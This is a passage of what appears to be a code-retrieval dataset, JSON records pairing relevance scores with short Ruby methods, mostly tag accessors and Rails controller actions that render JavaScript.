@note.tagNames\n end", "title": "" }, { "docid": "bdd7d25fd592f7d3f8c842a3860a3c34", "score": "0.7093756", "text": "def tags\n response[\"tags\"]\n end", "title": "" }, { "docid": "bb2680d4cffefb72db00af09bbe3ddd7", "score": "0.7082333", "text": "def tags\n\t\tresponse = self.server.run_with_json_template( :tags )\n\t\treturn response.flatten.map {|tag| Hglib::Repo::Tag.new(self, **tag) }\n\tend", "title": "" }, { "docid": "a7aeb76e6ebaae71a098c581d2ea37d0", "score": "0.708225", "text": "def tags\n object.tags.map {|tag| tag.id}\n end", "title": "" }, { "docid": "a181cd10eb9c88f56e7e8dadd5978e93", "score": "0.7057979", "text": "def tags\r\n return @tags if @tags\r\n\r\n if @options.has_key? :only\r\n @tags = convert_methods(@options[:only])\r\n elsif @options.has_key? :except\r\n @tags = @@tag_titles.keys - convert_methods(@options[:except])\r\n else\r\n @tags = @@tag_titles.keys\r\n end\r\n\r\n @tags\r\n end", "title": "" }, { "docid": "815f94290a16078014f8eb5cf905fbde", "score": "0.703225", "text": "def tags(options={})\n self.class.parse_tags(request(singular(user_id) + \"/tags\", options))\n end", "title": "" }, { "docid": "8e6043a7a705921cde2fde0a18179aad", "score": "0.69946045", "text": "def tags\n self.new_record? ? '' : Tag.get_friendly_tags(self)\n end", "title": "" }, { "docid": "31c8fa008a8b914ad2ddc3154e8e62c7", "score": "0.6947602", "text": "def tags\n @tags ||= []\n end", "title": "" }, { "docid": "88fe4b721167789784f423517395e340", "score": "0.6946321", "text": "def tags\n @tags ||= begin\n resp = @client.access_token.get('/reader/api/0/tag/list?output=json')\n raise \"unable to retrieve the list of tags for user \\\"#{user_id}\\\": #{resp.inspect}\" unless resp.code_type == Net::HTTPOK\n JSON.parse(resp.body)['tags'].collect do |hash|\n Google::Reader::Tag.new(hash.merge({:client => @client}))\n end\n end\n end", "title": "" }, { "docid": "5766e7d195a671c5f85190f40403efa5", "score": "0.69297624", "text": "def tags\n @data['tags']\n end", "title": "" }, { "docid": "359222a05428d5940a7399dbcc3778c8", "score": "0.6890984", "text": "def robotags\n object.tags User.super_id\n end", "title": "" }, { "docid": "2b76495b30e27cbfd0b367209a89e1de", "score": "0.68869895", "text": "def tags\n if new?\n @fake_tags || []\n else\n @tags ||= tags_dataset.all\n end\n end", "title": "" }, { "docid": "52a26998e2f35009006e2615d89b69f8", "score": "0.6874911", "text": "def _tags\n tags = []\n categories.find_each do |category|\n tags << category.self_and_ancestors.pluck(:name)\n end\n tags.flatten.uniq\n end", "title": "" }, { "docid": "55e2dd7beb0393f7159e901c60646dff", "score": "0.6870529", "text": "def tags\n normal[:tags] = Array(normal[:tags])\n normal[:tags]\n end", "title": "" }, { "docid": "843f711071f7e093dd52da1fa130c4a2", "score": "0.68244743", "text": "def tags\n @tags ||= get(\"/repos/show/#{owner.login}/#{name}/tags\")['tags']\n end", "title": "" }, { "docid": "3f0e5de5757a8aa48545445313f78942", "score": "0.6812408", "text": "def tags\n object.tags.pluck(:title).sort\n end", "title": "" }, { "docid": "ae805bd1cc3c87d446a4b5a2076136f3", "score": "0.68096304", "text": "def tags\n return @tags ||= begin\n @site.tags.keys.map do |tag|\n TagDrop.new({\n :site => @site, :tag => tag\n })\n end\n end\n end", "title": "" }, { "docid": "f4d1b3703f3f8d5e307164655103dbac", "score": "0.6793026", "text": "def tags\n @stack.tags\n end", "title": "" }, { "docid": "403e5962443096ac21bee45ba47d2845", "score": "0.679201", "text": "def tags\n @sg.tags\n end", "title": "" }, { "docid": "403e5962443096ac21bee45ba47d2845", "score": "0.679201", "text": "def tags\n @sg.tags\n end", "title": "" }, { "docid": "505cb7e2784a73be3400081dfed4aed7", "score": "0.67917717", "text": "def available_tags\n available_tags = []\n Tag.all.each do |t|\n available_tags << t.name\n end\n\n tags = []\n self.tags.each do |t|\n tags << t.name\n end\n\n available_tags - tags\n end", "title": "" }, { "docid": "4faef966fee9223bc0cc35cc5eee6c87", "score": "0.6783149", "text": "def aws_tags_list\n @aws.tags\n end", "title": "" }, { "docid": "3df0c88e84e249d84e361dde44947371", "score": "0.6775722", "text": "def tags\n @group.tags\n end", "title": "" }, { "docid": "4468077fd57c37cd5e5f3f6db959c6a1", "score": "0.67573696", "text": "def tag_names\n # only return the name from the associated tag object\n object.tags.map(&:name)\n end", "title": "" }, { "docid": "9d177f96bf2a2dd934c13b30278ded70", "score": "0.6756688", "text": "def tags\n get('tags')\n end", "title": "" }, { "docid": "5a7c972760f0b6057f1f8e5fb08bb28f", "score": "0.67484593", "text": "def my_tag_list\n self.taggings.order('id ASC').map(&:tag).map(&:name)\n end", "title": "" }, { "docid": "d4e31b7e9ed32073c52fc16ca71487c0", "score": "0.67374873", "text": "def find_all_tagged_objs\n Tagging.where(tagger: self).map{|tagging| tagging.tagged_obj}.uniq\n end", "title": "" }, { "docid": "c8962d813da6090f91f828b2343eb7dd", "score": "0.67171925", "text": "def applied_tags\n parent_model.respond_to?(:all_tags) ? parent_model.all_tags : []\n end", "title": "" }, { "docid": "a3df7187f4209c9e771791937688a9bd", "score": "0.67111593", "text": "def top_tags()\n get(:standard, {:method => \"tag.getTopTags\"})\n end", "title": "" }, { "docid": "03aed83d9d03ecbeb45773b9ee5962cf", "score": "0.6708418", "text": "def taglist\n\tself.tags.map {|t| t.name}\n end", "title": "" }, { "docid": "862d4b79d8425a8eb857fdcbbb9a7aed", "score": "0.6707917", "text": "def get_all_tags()\n tag_hashes = USER_TAGS.order(:tag_name).all\n\n tags = []\n tag_hashes.each do |tag|\n tags.push(UserTag.new(tag))\n end\n\n return tags\n end", "title": "" }, { "docid": "86e1f1792e60c9c2aa550399b916a2ad", "score": "0.669502", "text": "def tags\n @attributes.select { |k, _| tag_names.include?(k.to_s) }\n end", "title": "" }, { "docid": "3b9e8bdd286d87415b802dfdb26a23e3", "score": "0.6693245", "text": "def tags\n Types::Tags.deserialize(@tags)\n end", "title": "" }, { "docid": "28dcf67fabe5b4761e6db77a01f84c77", "score": "0.66788125", "text": "def tag_names\n self.tags.map(&:name).join(\", \")\n end", "title": "" }, { "docid": "543b00c92b20a340c801232cd0641425", "score": "0.66704386", "text": "def tag_names\n self.tags.map{ |t| t.name }.join(\", \")\n end", "title": "" }, { "docid": "0b48b2ec2662f153eab034434de6c556", "score": "0.6664082", "text": "def tags\n\t\tt = read_attribute(:tags)\n\t\tt.nil? ? \"\" : t.join(', ')\n\tend", "title": "" }, { "docid": "0c895457920999b0741a1ddd3e434657", "score": "0.66273683", "text": "def all_tags\n self.tags.map(&:name).join(\", \")\n end", "title": "" }, { "docid": "0c895457920999b0741a1ddd3e434657", "score": "0.66273683", "text": "def all_tags\n self.tags.map(&:name).join(\", \")\n end", "title": "" }, { "docid": "0c895457920999b0741a1ddd3e434657", "score": "0.66273683", "text": "def all_tags\n self.tags.map(&:name).join(\", \")\n end", "title": "" }, { "docid": "5d9289fa6c8be54a4d6296e1b6a1c5b2", "score": "0.6623558", "text": "def tags\n tags = get_user_tags\n # prevents resource from being applied on every run if clearing tags with ''\n tags = [''] if tags == []\n tags\n end", "title": "" }, { "docid": "aa3d548412adf7bf3fcbc8f3380eba15", "score": "0.6610934", "text": "def tagged\n taggings.collect(&:taggable)\n end", "title": "" }, { "docid": "dee20348445f2a4f0fb7027843067712", "score": "0.65861905", "text": "def skill_tags\n return @skill_tags\n end", "title": "" }, { "docid": "0852aaf81f4c448c5f9ad82aa3b3cee1", "score": "0.6574335", "text": "def linked_tags\n taggings.map {|tagging| tagging.tag.value}\n end", "title": "" }, { "docid": "3aa5c6b75b18ad2e2d59ecd723ee255f", "score": "0.6568505", "text": "def all_tags context = :tags\n ActsAsTaggableOn::Tagging.where(context: context).select(:tag_id).distinct.includes(:tag).map(&:tag)\n end", "title": "" }, { "docid": "50c97018a1a954ba55f103cfeee3af2a", "score": "0.6520521", "text": "def visive_tags\n Tagging.visive_tags(self.tags)\n end", "title": "" }, { "docid": "633d8cfeffe557ffd4e01217cc04c0b6", "score": "0.65047646", "text": "def tags_for(_member)\n tags\n end", "title": "" }, { "docid": "35657ff65abacb91653a30c23a885ac3", "score": "0.650295", "text": "def tag_names\n self.entity_tags.map(&:tag).map(&:name)\n end", "title": "" }, { "docid": "660ecbb46172bdfe4e0e716d2c5fb5cb", "score": "0.64753634", "text": "def get_tags()\n db = connect_to_database()\n return db.execute(\"SELECT * FROM tags\")\n end", "title": "" }, { "docid": "c5dfefab36c00aff31b3cb90670ede19", "score": "0.64635783", "text": "def tags\n tags = nil\n\n # Jekyll v3 has it in data, while v2 have it at the root\n if @file.data.key?('tags')\n tags = @file.data['tags']\n elsif @file.respond_to? :tags\n tags = @file.tags\n end\n\n return tags if tags.nil?\n\n # Anyway, we force cast it to string as some plugins will extend the tags to\n # full featured objects\n tags.map(&:to_s)\n end", "title": "" }, { "docid": "d977a41654a36ecfae4f568232301e33", "score": "0.64548516", "text": "def tags!\n @tags = nil\n tags\n end", "title": "" }, { "docid": "8ce0d87478797776632652c1a7d4dd6e", "score": "0.6446094", "text": "def tags\n\t\t@tags = @identities = Identity.sorted_alphabetic.decorate\n\tend", "title": "" }, { "docid": "b735344ba82ea6ed6d60e5f641d020f7", "score": "0.64361495", "text": "def tags\n @subnet.tags\n end", "title": "" }, { "docid": "7a34f466b918c80c886a371c6f44e856", "score": "0.6434577", "text": "def tagsFor(user)\n if user.nil?\n []\n else\n tags.select{|x| x.user_id == user.id}\n end\n end", "title": "" }, { "docid": "3a47e328cd3e1bed62cccb6403427609", "score": "0.64344263", "text": "def tags\n libraries.collect(&:tag_id)\n end", "title": "" }, { "docid": "6897dcc64753ec3f70502bb7c4bf30cd", "score": "0.6431272", "text": "def tags\n @tags ||= tags_from_collection.merge(tags_from_item).values.select(&:release)\n end", "title": "" }, { "docid": "f834d6a564c4cfd2905d340d6ca1adb9", "score": "0.6416495", "text": "def tag_list\n self.tags.collect do |tag|\n tag.name\n end.join(\", \")\n end", "title": "" }, { "docid": "391ec480c5d924461bf686e5439ee415", "score": "0.64084876", "text": "def tags\n result = (@added_tags || Set.new)\n if description\n result |= description.tags.to_set\n end\n result\n end", "title": "" }, { "docid": "38e7e436ba7da93b90a8fa261799e9ae", "score": "0.64044034", "text": "def tags\n @map.tags\n end", "title": "" }, { "docid": "d8bc2a514adaae5d04194d8eca61a082", "score": "0.64034694", "text": "def tags\n @tags ||= ApiFactory.new 'GitData::Tags'\n end", "title": "" }, { "docid": "c17d74a80ddba2a7fd16ab8a7afbd3d8", "score": "0.64007914", "text": "def selected_tags\n @selected_tags\n end", "title": "" }, { "docid": "e2cdfc98d0961262586858f25e43d2ab", "score": "0.6363569", "text": "def tag_list\n self.tags.collect do |tag|\n tag.name\n end.join(\", \")\n end", "title": "" }, { "docid": "ab239355c19730b1272435965e9fb6a4", "score": "0.63600165", "text": "def list_of_tags\n tag_list\n end", "title": "" }, { "docid": "ff35c8662e0c93df52ceb5802ddba387", "score": "0.63514626", "text": "def get_tags(opts = {})\n data, _status_code, _headers = get_tags_with_http_info(opts)\n return data\n end", "title": "" }, { "docid": "a7b09e8511b9f058c2997a4e10437080", "score": "0.63475144", "text": "def find_tags\n @tags = BlogPost.tag_counts_on(:tags)\n end", "title": "" }, { "docid": "feadf8032901c3eaa3e349de793a8677", "score": "0.6342539", "text": "def tag_list\n\t\tself.tags.map(&:name).join(\", \")\n\tend", "title": "" }, { "docid": "bbed80cc9b55979e1cb3a2a262b49dfc", "score": "0.6340894", "text": "def current_tags\n @tags||linked_tags\n end", "title": "" }, { "docid": "9ecb3e21eb0272cf371ebff09e2f402c", "score": "0.6336562", "text": "def tags; end", "title": "" }, { "docid": "9ecb3e21eb0272cf371ebff09e2f402c", "score": "0.6336562", "text": "def tags; end", "title": "" }, { "docid": "9ecb3e21eb0272cf371ebff09e2f402c", "score": "0.6336562", "text": "def tags; end", "title": "" }, { "docid": "9ecb3e21eb0272cf371ebff09e2f402c", "score": "0.6336562", "text": "def tags; end", "title": "" }, { "docid": "9ecb3e21eb0272cf371ebff09e2f402c", "score": "0.6336562", "text": "def tags; end", "title": "" }, { "docid": "c29f6d25f2815c2ccadbd4b894585113", "score": "0.6330659", "text": "def all_tags\n each_with_object([]) do |entry, tags|\n tags.concat(entry.tags).sort!.uniq!\n end\n end", "title": "" }, { "docid": "dc0a830ebfce4f16f7568883f9910887", "score": "0.6329967", "text": "def tags(options = {})\n\n # Grab the current scope\n s = select{id}\n\n # Grab table name\n t = self.to_s\n\n q = RocketTag::Tag.joins{taggings}.\n where{taggings.taggable_type==t}. # Apply taggable type\n where{taggings.taggable_id.in(s)}. # Apply current scope\n where(with_tag_context(options.delete(:on))). # Restrict by context\n group_by_all_columns.\n select{count(tags.id).as(tags_count)}.\n select('tags.*').\n order(\"tags_count desc\")\n\n # Isolate the aggregate query by wrapping it as\n #\n # select * from ( ..... ) tags\n q = RocketTag::Tag.from(q.as(RocketTag::Tag.table_name))\n #q = RocketTag::Tag.from(q.arel.as(RocketTag::Tag.table_name))\n \n # Restrict by minimum tag counts if required\n min = options.delete :min \n q = q.where{tags_count>=min} if min \n\n # Return the relation\n q\n\n end", "title": "" }, { "docid": "d75f0ac7a682293a1f49b389d349f34b", "score": "0.6326262", "text": "def tags(class_name)\n eles_by_json(typeArray: [class_name], onlyVisible: true)\n end", "title": "" } ]
39c65900759e53ef8ab6178f780bed27
convert ruby to JS, sending results to target Controller
[ { "docid": "c1f4f40c962a1401286a5163c6624eac", "score": "0.0", "text": "def convert()\n return unless targets.size > 0 and @rubyEditor and defined? Ruby2JS\n parsed = document.getElementById('parsed')\n filtered = document.getElementById('filtered')\n\n parsed.style.display = 'none' if parsed\n filtered.style.display = 'none' if filtered\n\n ruby = @rubyEditor.state.doc.to_s\n begin\n js = Ruby2JS.convert(ruby, @options)\n targets.each {|target| target.contents = js.to_s}\n\n if ruby != '' and @ast and parsed and filtered\n raw, comments = Ruby2JS.parse(ruby)\n trees = [walk(raw).join(''), walk(js.ast).join('')]\n\n parsed.querySelector('pre').innerHTML = trees[0]\n parsed.style.display = 'block'\n if trees[0] != trees[1]\n filtered.querySelector('pre').innerHTML = trees[1]\n filtered.style.display = 'block'\n end\n end\n rescue SyntaxError => e\n targets.each {|target| target.exception = e.diagnostic || e}\n rescue => e\n targets.each {|target| target.exception = e.to_s + e.stack}\n end\n end", "title": "" } ]
[ { "docid": "e60eb0254422373ae81045fb07cb283b", "score": "0.71799606", "text": "def to_js; end", "title": "" }, { "docid": "e60eb0254422373ae81045fb07cb283b", "score": "0.71799606", "text": "def to_js; end", "title": "" }, { "docid": "b2f005eb509f963461cad66c0e6b41bc", "score": "0.69618386", "text": "def to_js\n end", "title": "" }, { "docid": "978b14f9ece0b9d6a4cb9f75a2a1f1eb", "score": "0.6935177", "text": "def js\n end", "title": "" }, { "docid": "433c55678275c3382731f6f2e959fb21", "score": "0.6839948", "text": "def javascript\n end", "title": "" }, { "docid": "9ea782e7da9d555e2db1700f352d9461", "score": "0.672512", "text": "def view_result\n respond_to do |format|\n format.js { render 'view_result.js.erb' }\n end\n end", "title": "" }, { "docid": "b428c85f66dc7dbaa0770fff0f63fb87", "score": "0.65690535", "text": "def invoke\n js_builder.result\n end", "title": "" }, { "docid": "0f3616d2173be236c98ed950c43ee072", "score": "0.6546244", "text": "def render_javascript(template); end", "title": "" }, { "docid": "af12733d7c32ccd67d36e9901fcddc3c", "score": "0.6431823", "text": "def to_s\n\t\t@js\n\tend", "title": "" }, { "docid": "8aacf35cfdc3967adde6c014da3095e7", "score": "0.64268583", "text": "def votecannotbecast\t\t\n\t\trespond_to do |format|\n\t\t\tformat.js {}\n\t\tend\n\tend", "title": "" }, { "docid": "2205260c148642a5552f02c63e4c6772", "score": "0.6423244", "text": "def js\n @js_renderer.generate_all\n end", "title": "" }, { "docid": "a6ba8a6fe309b9d52354b2790c58be6b", "score": "0.64111006", "text": "def index\n respond_to do |format|\n format.js\n end\n end", "title": "" }, { "docid": "7a900d46d56b922a6fc0d73037103470", "score": "0.64053106", "text": "def index\n find_cases\n respond_to do |format|\n format.html\n format.js\n end\n end", "title": "" }, { "docid": "eee92b3653646eeb2f4c73c64652ac45", "score": "0.6378291", "text": "def call(env)\n buffer = []\n generate_js(kernel, buffer)\n [ 200, \n {'Content-Type' => 'application/javascript'},\n buffer ]\n end", "title": "" }, { "docid": "901944a791cb517aed585ee288aa2d1a", "score": "0.6353465", "text": "def to_js\n default_render\n end", "title": "" }, { "docid": "edb017e5600b5b48d6a6676ea06b77e0", "score": "0.6329674", "text": "def coerce_back_to_js\n request.format = :js\n end", "title": "" }, { "docid": "b88db455d677a43c2678f10d30da3def", "score": "0.63234967", "text": "def run\n respond_to do |format|\n format.js {\n s1 = Simulation.new(currently_saved: params[:currently_saved].to_f,\n yearly_contribution: params[:yearly_contribution].to_f,\n yearly_distribution: params[:yearly_distribution].to_f,\n distribution_tax_rate: params[:distribution_tax_rate].to_f,\n monthly_ss: params[:monthly_ss].to_f,\n apr: params[:apr].to_f,\n inflation_rate: params[:inflation_rate].to_f,\n age_now: params[:age_now].to_i,\n age_retire: params[:age_retire].to_i,\n age_die: params[:age_die].to_i)\n s1.run\n\n @data = s1.data_as_hash\n # render json: @data\n # puts \"The data:\"\n # puts @data\n # gon.data = s1.data_as_hash\n render 'draw_graph'\n }\n end\n end", "title": "" }, { "docid": "f4e8b7e3f4df6567ee448b681169c498", "score": "0.63219833", "text": "def aaaaaaaaaaaaaaaaa\n puts \"aaa controller method\" \n respond_to do |format|\n format.js\n end\n end", "title": "" }, { "docid": "f1f5c9153c18123c5e9d74fa91572d58", "score": "0.63049495", "text": "def healthcare\n respond_to do |format|\n format.js\n end\n end", "title": "" }, { "docid": "f1f5c9153c18123c5e9d74fa91572d58", "score": "0.63049495", "text": "def healthcare\n respond_to do |format|\n format.js\n end\n end", "title": "" }, { "docid": "6b241084dfe18c59036896caeb2fb068", "score": "0.6289727", "text": "def export_js\r\n end", "title": "" }, { "docid": "02ffaac1fb95ba7297786ac92074ba68", "score": "0.6288747", "text": "def index\n respond_to do |format|\n format.js\n end\n end", "title": "" }, { "docid": "6ced7f6355eae2adac59af4dccae96c9", "score": "0.6268072", "text": "def index\n respond_to do |format|\n format.html \n format.js { render }\n end\n end", "title": "" }, { "docid": "cbe4b2d314314957537a91ff9b855649", "score": "0.62354416", "text": "def provamodal\n\n @contadorr = params[:contador]\n\n\n respond_to do |format|\n format.js\n end\n\n end", "title": "" }, { "docid": "efbc6bec3350e133ad5454ee1b823d08", "score": "0.6205643", "text": "def apply\n\t\trespond_to do |format|\n\t\t\tformat.js\n\t\tend\n\tend", "title": "" }, { "docid": "05e2b0e09eb98f7aa1ec0359889d16cc", "score": "0.618894", "text": "def index\n respond_to do |format|\n format.js\n format.html\n end\n end", "title": "" }, { "docid": "3867eb27a00cc2186f287ab608de8a6e", "score": "0.6183741", "text": "def search\n respond_to do |format|\n format.js\n end\nend", "title": "" }, { "docid": "3867eb27a00cc2186f287ab608de8a6e", "score": "0.6183741", "text": "def search\n respond_to do |format|\n format.js\n end\nend", "title": "" }, { "docid": "3867eb27a00cc2186f287ab608de8a6e", "score": "0.6183741", "text": "def search\n respond_to do |format|\n format.js\n end\nend", "title": "" }, { "docid": "cb864ce297a4364d1912d1074ccdf35c", "score": "0.61767566", "text": "def closer_db\n respond_to do |format|\n format.js\n end\n end", "title": "" }, { "docid": "16dfe7a464d1329f8a5931c45c082f67", "score": "0.6168963", "text": "def return_report\n respond_to do |format|\n format.js {render \"report\"}\n end \n end", "title": "" }, { "docid": "ecafce43fc2b80cb0fc0377a459b473d", "score": "0.61687404", "text": "def submit\n respond_to do |format|\n format.js\n end\nend", "title": "" }, { "docid": "ecafce43fc2b80cb0fc0377a459b473d", "score": "0.61687404", "text": "def submit\n respond_to do |format|\n format.js\n end\nend", "title": "" }, { "docid": "a67a95136d251cf88ee99d500bd3d2ff", "score": "0.6133733", "text": "def to_s\n @js\n end", "title": "" }, { "docid": "c4491ef32546b91495741fe488769962", "score": "0.61202365", "text": "def javascript; @compiler.javascript; end", "title": "" }, { "docid": "e6a375e95ef73bcf1bb486ed80f5d371", "score": "0.61168593", "text": "def generate_js_for_action(waw_kernel, action, buffer)\n action_js = <<-THEEND\n function #{action.id}(request_data, form) {\n $.ajax({type: \"POST\", url: \"#{action.url}\", data: request_data, dataType: \"json\",\n error: function(data) {\n \t\t window.location = '/500';\n \t\t},\n \t\tsuccess: function(data) {\n THEEND\n action_js << action.routing.generate_js_routing(action, 0).gsub(/^/, \" \"*16) << \"\\n\"\n action_js << <<-THEEND\n \t\t}\n \t});\n \treturn false;\n } \n THEEND\n buffer << strip(action_js, 10)\n end", "title": "" }, { "docid": "de05ca441ffecb1fa90758d556430ebc", "score": "0.60865355", "text": "def create\n puts \"SONO IO!! IOOOOOOOO!!!\"\n puts \"SONO IO!! IOOOOOOOO!!!\"\n respond_to do |format|\n format.js\n end\n end", "title": "" }, { "docid": "375782e2ec2c561421fecbd4ea966972", "score": "0.60657394", "text": "def index\n respond_to do |format|\n format.html\n format.js\n end\n end", "title": "" }, { "docid": "2570153792b92529a6b135bc67bd7574", "score": "0.6051099", "text": "def update_build_data\n @cpu = params[:cpu]\n @memory = params[:memory]\n @swap = params[:swap]\n @disk = params[:disk]\n #Update the Appliacne Json file, with these values.\n respond_to do |format|\n format.js\n end\n end", "title": "" }, { "docid": "e267a263ede1c578e4d4972f456f77bc", "score": "0.60408133", "text": "def index\n respond_to do |format|\n format.html\n format.js\n format.json { render json: @manuals }\n end\n end", "title": "" }, { "docid": "292cafedc4404b898eaec997a075a6d0", "score": "0.6029592", "text": "def index\n respond_to do |format|\n format.js { render :index }\n end\n end", "title": "" }, { "docid": "292cafedc4404b898eaec997a075a6d0", "score": "0.6029592", "text": "def index\n respond_to do |format|\n format.js { render :index }\n end\n end", "title": "" }, { "docid": "292cafedc4404b898eaec997a075a6d0", "score": "0.6029592", "text": "def index\n respond_to do |format|\n format.js { render :index }\n end\n end", "title": "" }, { "docid": "76c67490adecaa755c5aae1c298d46eb", "score": "0.6021049", "text": "def contents\n @version = Version.find(params[:id])\n respond_to do |format|\n format.js { render text: @version.content }\n end\n end", "title": "" }, { "docid": "44bd34742f63d2f37f3d665ba22062b9", "score": "0.60155255", "text": "def index\n @text=params[:text]||\"what is 3 + 3\"\n @interpretation=Script.run(@text)\n @result=@interpretation.result\n @javascript=@interpretation.javascript\n @svg=@interpretation.svg\n @scripts=Script.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @nodes }\n format.svg {\n send_data(@graphic.to_svg, type: \"image/svg+xml\", disposition: \"inline\")\n }\n end\n end", "title": "" }, { "docid": "de2b258370569526f1c2de17331a25a7", "score": "0.60117596", "text": "def index\n @reports = @reports.alpha_list\n respond_to do |format|\n format.js\n format.html\n end\n end", "title": "" }, { "docid": "32e1e438e0d3c0a1df98e722cdf14d22", "score": "0.60108083", "text": "def to_js\n \"Alfred.register(#{content.to_json})\"\n end", "title": "" }, { "docid": "8e96f2f1a1b7693ecfc2ba2323bb953c", "score": "0.60062975", "text": "def index\n respond_to do |format|\n format.html {}\n format.js {}\n end\n end", "title": "" }, { "docid": "3f653003d7058be3ac8c3136fde09c84", "score": "0.6004408", "text": "def javascript_template_to_evaluate_json\n executable_javascript = ''\n if Setting.log_to_html_body?\n executable_javascript = <<-CODE\n if (!$('.digup-html-message').length) {\n $('body').append(\"#{html_template.squish}\")\n }\n var list = '<ul>'\n $.each(digupData, function(index, value) {\n list += #{html_for_json_evaluation}\n })\n list += '</ul>'\n $('.digup-html-message').html(list)\n CODE\n end\n executable_javascript += console_template_for_javascript_response if Setting.log_to_console?\n code = <<-CODE\n <script type='text/javascript'>\n $(document).bind(\"ajaxComplete\", function(event, xhr, settings){\n try {\n var jsonResponse = JSON.parse(xhr.responseText);\n } catch(e) {}\n if (typeof jsonResponse !== 'undefined') {\n if ($.isArray(jsonResponse)) {\n digupData = jsonResponse[jsonResponse.length - 1].digup\n } else {\n digupData = jsonResponse.digup\n }\n #{executable_javascript}\n }\n });\n </script>\n CODE\n end", "title": "" }, { "docid": "39eee264c7fef935eaf6e10790f56dba", "score": "0.5988938", "text": "def index\n respond_to do |format|\n format.html\n format.xml { render :xml => @scale_notes.to_xml }\n\t\t\tformat.js { render :text => @scale_notes.to_json }\n end\n end", "title": "" }, { "docid": "94b1f506f826ac75ff4e4c173475cd63", "score": "0.5981635", "text": "def index\n @searches = current_user.searches.all\n @views = current_user.views.all\n\n respond_to do |format|\n format.js\n end\n end", "title": "" }, { "docid": "a9b545ae35424a258245c64b5deb18dd", "score": "0.5969145", "text": "def index\n @bizs = Biz.all\n # raise @my_biz.inspect\n respond_to do |format|\n format.html\n format.js\n end\n end", "title": "" }, { "docid": "ea794a79c3cbe9dd172d89110b452606", "score": "0.59676045", "text": "def fetch\n respond_to do |format|\n format.js {\n render :text => fetch_issue\n }\n end\n\n end", "title": "" }, { "docid": "31062d8d7adab7efe795beda4b17a0da", "score": "0.5949139", "text": "def index\n @facturas = Factura.all\n respond_to do |format|\n format.js\n end\n end", "title": "" }, { "docid": "3b57b0bc9d7de61b245b75cf67e849d5", "score": "0.5943586", "text": "def check_results\n assignment_check = AssignmentCheck.find(params[:check])\n\n respond_to do |format|\n format.js { render template: 'code/check_results',\n locals: { assignment_check: assignment_check } }\n end\n end", "title": "" }, { "docid": "4bc26af471cd4af339c114225dcebb41", "score": "0.5940022", "text": "def index\n @products = Product.all\n p\"I am index *****************\"\n respond_to do |format|\n format.js\n end\n end", "title": "" }, { "docid": "1a9a4d3440e8ae2f2491c695bd8e2843", "score": "0.5915313", "text": "def index\n @arduinos = Arduino.all\n respond_to do |format|\n format.html\n format.js\n format.json {render json: @arduino}\n format.xml {render xml: @arduino}\n end\n end", "title": "" }, { "docid": "fe5d1412535310b40f6e94f7c24a10f7", "score": "0.59089553", "text": "def index\n respond_to do |format|\n format.html\n format.xml { render :xml => @scales.to_xml }\n\t\t\tformat.js { render :text => @scales.to_json }\n end\n end", "title": "" }, { "docid": "b049df08ef1b26bc518e2a6f73374461", "score": "0.5908697", "text": "def back_condition\n respond_to do |format|\n @conditions = get_sensors_conditions\n format.js\n end \n end", "title": "" }, { "docid": "108f108f49b96fd72892e5ca57f5aacf", "score": "0.58958733", "text": "def r_js_asset\n render_asset 'text/javascript'\n end", "title": "" }, { "docid": "565478cfa1162af2af87c90cce9b202e", "score": "0.58915794", "text": "def index\n @bizs = Biz.all\n @count = 0\n # raise @my_biz.inspect\n respond_to do |format|\n format.html\n format.js\n end\n end", "title": "" }, { "docid": "2e25a91e947f4355a5100a6761df342c", "score": "0.5886126", "text": "def index\n @js_sripts = JsSript.all\n end", "title": "" }, { "docid": "b9b0e67a75584c8d99f637826f97fd39", "score": "0.5885615", "text": "def index\n respond_to do |format|\n format.html\n format.xml { render :xml => @scale_tones.to_xml }\n\t\t\tformat.js { render :text => @scale_tones.to_json }\n end\n end", "title": "" }, { "docid": "9df2dd056d71372d885065ee85e08e00", "score": "0.5872515", "text": "def test\n respond_to do |format|\n format.js\n end\n end", "title": "" }, { "docid": "52144c32b45a4bc65907179bc2195938", "score": "0.586518", "text": "def index\n # @s = markdown(\"\n # ```javascript\n # var s = 'hello world';\n # console.log(s);\n # ```\")\n # puts @s\n end", "title": "" }, { "docid": "58cbed215616ce8126edf8d7e74298e5", "score": "0.5864906", "text": "def to_javascript\n unless @variable.nil?\n @variable\n else\n create\n end\n end", "title": "" }, { "docid": "11ca5d54f46791df2ff402c86f3e0b42", "score": "0.5849338", "text": "def submit_form\n @total = BabysitterKata.calculate_earnings(params[:arrival_time], params[:departure_time], params[:bedtime])\n respond_to do |format|\n format.js\n end\n end", "title": "" }, { "docid": "1f103f37bceb98a0f8f8c33f08284710", "score": "0.5848035", "text": "def index\n @targeting_vectors = @search.all()\n \n respond_to do |format|\n format.js # index.js.erb\n format.xml { render :xml => @targeting_vectors }\n format.json { render :json => @targeting_vectors }\n end\n end", "title": "" }, { "docid": "00ffc022b830a4c2c083e77e2a225e99", "score": "0.584536", "text": "def generate_coupon\n @code = Coupon.generate_unique_code\n\n respond_to do |format|\n format.js\n end\n\n end", "title": "" }, { "docid": "bc91e35b930b6c4bb0b78394c12ce906", "score": "0.58430594", "text": "def index\n respond_to do |format|\n format.js do\n resource\n end\n end\n end", "title": "" }, { "docid": "6825655f7119dab4c504b7c99aa8e906", "score": "0.58391047", "text": "def to_javascript\n unless @variable.nil?\n @variable\n else\n create\n end\n end", "title": "" }, { "docid": "fa3a1cffa19700f7a6f0cd0312bf0f34", "score": "0.58208036", "text": "def index\n @myDomain = session[:domain]\n @domains = Domain.find_by_sql( [\"SELECT * from `domains` WHERE `owner_domain_id` = ?\", @myDomain.id ] )\n\n puts \"number of results: \" + @domains.length.to_s\n\n @resultArray = []\n\n @domains.each do | domain |\n @domainObj = {}\n @domainObj[\"name\"] = domain[\"name\"];\n @domainObj[\"id\"] = domain[\"id\"];\n @domainObj[\"owner\"] = domain[\"owner_domain_id\"];\n @resultArray << @domainObj;\n end\n\n\n @result = @resultArray.to_json\n\n if params[:callback]\n @result = params[:callback] + \"(\" + @result + \")\"\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @resultArray }\n format.js { render :js => @result }\n end\n end", "title": "" }, { "docid": "cdcf3f6586e026a181f10342818e34f0", "score": "0.5817882", "text": "def index\n set_content\n respond_to do |format|\n format.html {}\n format.js { render :update }\n end\n\n end", "title": "" }, { "docid": "32d50527ab2d46b51b48b1fdefc65e0e", "score": "0.58172256", "text": "def test\n\t\trespond_to do |format|\n\t\t\tformat.js\n\t\t end\n\tend", "title": "" }, { "docid": "921c176630f649c5213f5d67f6a53db3", 